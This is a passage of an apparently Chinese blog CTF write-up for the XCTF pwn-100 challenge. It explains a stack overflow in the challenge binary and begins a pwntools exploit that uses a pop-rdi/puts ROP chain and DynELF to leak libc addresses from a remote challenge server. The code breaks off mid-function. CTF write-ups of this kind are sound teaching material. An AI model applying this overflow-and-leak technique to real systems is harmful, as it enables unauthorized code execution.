XCTF pwn-100(使用DynELF)

查保护
在这里插入图片描述
开了NX,没办法直接往栈上写ShellCode
放入IDA分析
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
参数a1,是栈上的地址;a2是长度200;这个函数存在栈溢出漏洞,这个函数最多可以通过read读取200个字符,而用户输入数据的首地址到ebp只有0x40个字节。
这个程序没有提供libc,也没有后门函数,但是有puts函数,可以通过pwntools的DynELF来泄露地址,也可以使用LibcSearcher
后面讲解exp中用到的3个payload为什么这么构造

from pwn import *

#p = process("./pwn-100")
p = remote("111.198.29.45",42709)
elf = ELF("./pwn-100")

read_got = elf.got['read']
puts_plt = elf.plt['puts']
start = 0x400550
pop_rdi = 0x400763
#ROPgadget --binary "pwn-100" --only "pop|ret" | grep "rdi"
#rdi,rsi,rdx,rcx,r8,r9
def leak(address):
	payload1 = "a" * 0x48 + p64(pop_rdi) + p64(address) + p64(puts_plt) + p64(start)
	payload1 = payload1.ljust(200,"a")
	p.send(payload1)
	p.recvuntil("bye~\n")
	up = ""
	content = ""
	count = 0
	while True:
		c = p.recv(numb=1, timeout=0.5
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值